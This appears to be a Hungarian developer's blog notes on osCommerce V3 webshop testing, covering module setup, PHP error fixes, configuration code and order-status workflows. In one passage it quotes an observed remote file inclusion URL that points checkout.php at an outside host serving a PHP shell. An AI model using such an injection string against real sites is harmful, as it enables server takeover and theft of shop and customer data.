A vásárlási feltételek javítása
Felmerült bennem, hogy a jelenlegi szerkezet nem megfelelően van kialakítva a vásárlás folyamatában.
A gyors kosár tényleg hasznos, de a vásárlási feltételek nincsen jó helyen. Az elgondolásom a következő.
Felmerült bennem, hogy a jelenlegi szerkezet nem megfelelően van kialakítva a vásárlás folyamatában.
A gyors kosár tényleg hasznos, de a vásárlási feltételek nincsen jó helyen. Az elgondolásom a következő.
A telepítés után az összes modult kézzel újra kell sajnos installálni.
(Fizetési, Szállítási és Összesítési modulok.) Azaz eltávolítás majd telepítés.
Ekkor helyre áll a rend „title” szinten a rendszerben.
Figyelem, mert még mindig van egy buktató, a Fizetés az áru átvételekor modulban a személyes
átvétel telephelyünkön legyen kipipálva.
Az utólagos beállításra azért van szükség, mert eltér az installációs eljárás a váz működésétől.
Reményeim szerint az OSCOMV3-ban már nem lesz ez az anomália.
Bővebben a fórumban
Felfigyeltem egy furcsa URL-re a minap. Elsőnek nem tudtam mire vélni,
de aztán az eredménye láttán, okosabb lettem. A kód segítségével el lehet különíteni a
védett és a védtelen shopokat.
http:\ezazenshopom.hucheckout.php?_SERVER[DOCUMENT_ROOT]=http:\www.apc.edu.ectemp?
Aztán megnéztem külön a http:\www.apc.edu.ectemp? fájlt is. A panda ezt az üzenetet küldte:
Panda GP 2010 jelentés:
megfertőzte a PHP/Shell vírus, ezért töröltem.
Hogy mik vannak!
Errorlog üzenetek alfa 6-on:
A hálón rákerestem az irodalomra is.
Nem gondoltam, hogy mennyire egyszerű a probléma, de a V3 most jól vizsgázott. Ez már nem a 2003-as színvonal.
Nem kíméltem az új vázat és a keresők közé vetettem. A váz ki van egészítve a visitor
webstatisztikai bővítménnyel és mivel az error log teljesen zárt, csak az adminisztráció
észleli a hibákat. Ha a googli másra nem is, a tesztelésre kivállóan alkalmas. Az eredményeket
folyamatosan jegyzem ezen az oldalon.
{codecitation class=”brush: html; gutter: true;”}
PHP Notice: unserialize() [function.unserialize]:
Error at offset 0 of 1230 bytes in /web/gumisarok/osc3/admin/includes/applications/whos_online/pages/main.php on line 99
{/codecitation}
Lehet, hogy már feltűnt, de a képfelvétel egy kicsit szokatlan a V3 rendszerben.
Meg kell különböztetni a még nem létező termék képfelvételét és a már létezőjét.
A különbség a kettő között, hogy a rendszer míg az elöbbinél nem rendelt adatokat az adatbázisba,
így az csak a memóriában létezik. A második eset a program számára sokkal egyértelműbb, mert létezik
a termék.
Nézzük meg a különbségeket a képfelvétel folyamatában:
A tallózás gomb segítségével tölthetünk fel képet, de nem látjuk az eredményét.
A küldés szervernek gombbal tölthetünk fel képet, de látjuk az eredményét.
Igyekszem majd, hogy a fejlesztés és a tesztelés során jelentkező szerver beállításra visszavezethető hibákat egy folyamatosan frissített gyűjtemény csokorba szedjem.
Nem volt feltelepítve a szerveren a PHP date_default_timezone_get() utasítás így ezt az error kaptam:
PHP Unknown: date_default_timezone_get() [function.date-default-timezone-get]: It is not safe to rely on the system’s timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected ‘Europe/Berlin’ for ‘CEST/2.0/DST’ instead in /x/y/demoshop/includes/functions/compatibility.php on line 16
Megoldásom a compatibility.php-ben következő egyenlőre:
//date_default_timezone_set(@date_default_timezone_get());
date_default_timezone_set(‘Europe/Budapest’);
A hiba a Server Info oldalán jelentketzett
PHP Warning: exec() has been disabled for security reasons in /x/y/demoshop/osCommerce/OM/Core/Site/Admin/Application/ServerInfo/ServerInfo.php on line 33
Megoldásom egyenlőre a hibás és referencia sorokat /* */ közé raktam.
A hiba a valutaárfolyamok frissítésénél jelentkezett, mert nincs allow_url_fopen
PHP Warning: file() function.file http:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /x/y/demoshop/osCommerce/OM/Core/Site/Admin/includes/functions/localization.php on line 16
Használjuk inkább a CURL-t, hamár úgyis telepítési feltétel
A modulok telepítgetése során feltűnt, hogy a beállítások össsze-vissza, hol angolul, hol magyarul Igaz/Hamis vagy True/False vagy true/false értéket vesznek fel. A témát jobban körüljárva feltűnt, hogy szerteágazó a státuszkezelés kapcsolója. Érdemes lenne szabványosítani, mégpedig többnyelvűsíthetően.
'osc_cfg_set_boolean_value(array('True', 'False'))'
'osc_cfg_set_boolean_value(array(array(1, -1))'
'osc_cfg_set_boolean_value('true', 'false'))'
A legjobb lenne, ha mindegyik a szállítási módokban lévőt használná, mert az többnyelvűsíthető és nem kell True/False értékeket bámulnunk. Nade van erre egy egyszerűbb megoldás…
Keressük meg a
catalog/admin/includes/functions/cfg_parameters/osc_cfg_set_boolean_value.php
fájlt és javítsuk a megfelelő részt
// if ($value === -1) { $value = $osC_Language->get('parameter_false'); } elseif ($value === 0) { $value = $osC_Language->get('parameter_optional'); } elseif ($value === 1) { $value = $osC_Language->get('parameter_true'); }
// We wish if ($value === -1 || $value === 'false' || $value === 'False') { $value = $osC_Language->get('parameter_false'); } elseif ($value === 0) { $value = $osC_Language->get('parameter_optional'); } elseif ($value === 1 || $value === 'true' || $value === 'True') { $value = $osC_Language->get('parameter_true'); }
// INSERT INTO osc_templates_boxes_to_pages VALUES (5,4,1,'*','left',500,0); INSERT INTO osc_templates_boxes_to_pages VALUES (6,12,1,'*','right',100,0); INSERT INTO osc_templates_boxes_to_pages VALUES (16,16,1,'index/category_listing','after',400,0);
A sablon modulok elrendezésében is van némi nyelvi probléma a left/right/after miatt, ami a boxes_group mező értékeit mutatja
Megoldásnak javasolnék egy osc_cfg_template_modules_group.php-t, ami az osc_languages_definition tábla nyelvi változóiból veszi a nyelvnek megfelelő értéket.
Lassan körvonalazódnak, azok a lehetőségek, melyek az eddigi 1-2 kezelő személyes webáruház rendszerről komolyabb szervezési folyamatokat is megengednek majd az OSCOMV3 és a 2.3 rendszerekben. Ennek első lépése az adminisztrációs panelek jelszóval történő szétválasztása. A következő lépés, pedig a vállalkozás szervezeti egységeinek összerendelése a webáruház megfelelő adminisztrációs paneljeivel. A legjobb példa erre a rendelések kezelése.
Mindenképpen létezik egy olyan egység, amely fogadja, kontrollálja a rendeléseket és szervezi a vállalti alegységeket a kereskedelmi folyamatokban. Általában kézben tartja a kontrollt és az irányítást mindenek felett. Jellemzően tevékenységi utasításokat ad az alosztályoknak. Fő oscommerce moduljai a rendelések és a statisztika.
Belépési állapot | Kilépési állapot |
Beszerzése folyamatban -> |
Szedés alatt Rendelés módosításra |
Csomagolva -> | Szállítás alatt |
Szállítás alatt -> | Visszáru |
Viszáru -> | Rendelés módoításra |
Feladata a részére továbbított rendelési állapot szerint a termékek összeszedése és csomagolása. Két fő állapota van a „Szedés alatt” és a „Csomagolva”
Belépési állapot | Kilépési állapot |
Szedés alatt -> | Csomagolva |
A szállítási feladatok mamár egyre inkább külsős cégekre hárulnak a költség hatékonyabb tevékenység érdekében, de lehet a cégen belül olyan munkatárs, aki ezzel foglalkozik. Az ő osCommerce rendelési állapotait a táblázatban foglaltam össze. Előfordul, hogy a beszerzéssel is foglalkoznia kell, ekkor a „Beszerzése folyamatban” státuszt is birtokolhatja.
Belépési állapot | Kilépési állapot |
Beszerzése folyamatban -> |
Szedés alatt Rendelés módosításra |
Csomagolva -> | Szállítás alatt |
Szállítás alatt -> | Visszáru |
Viszáru -> | Rendelés módoításra |
Az adatfelvétel során előfordulhat, hogy hiányos adatokkal próbáljuk megjeleníteni a terméket. Elfelejtünk képet, adókulcsot, árat vagy súlyt hozzárendelni a termékhez. A termék hibamonitor ezen a problémán segít. Csak azokat a termékeket listázza, melyek hibával rendelkeznek. A listában módunk van adatot javítani vagy terméket törölni.
Csak azok a termékek kerülnek kiválogatása, amelyeknek
A leválogatási eljárás nincs tekintettel a megjelenítési állapotra, azaz minden terméket átvizsgál az adatbázisban, ami támpontot adhat a kikapcsolt termékek szerkesztéséhez is.
A lista csak termékeket tartalmaz, azaz nem csoportosít termékváltozatra, így minden fontos terméknév információ megjelenik. A termékek közvetlenül linkelve vannak a termékszerkesztő oldalra.
Nagy számú termékhalmaznál igencsak hasznos lehet ez a funkció, mivel a vásárlói oldalon teljesen reménytelen lenne az ilyen adatok felkutatása.
Örülök, hogy ennyire felkapott lett néhány napon belül a modul. G Burton sebtében már adaptálta is a vázát a 2.x rendszerre. Az modul nagyon könnyen hekkelhető és megfelelő lekérdező klónok gyárthatóak belőle. Személy szerint viszont jobban örülnék egy kapcsolható szűrőnek.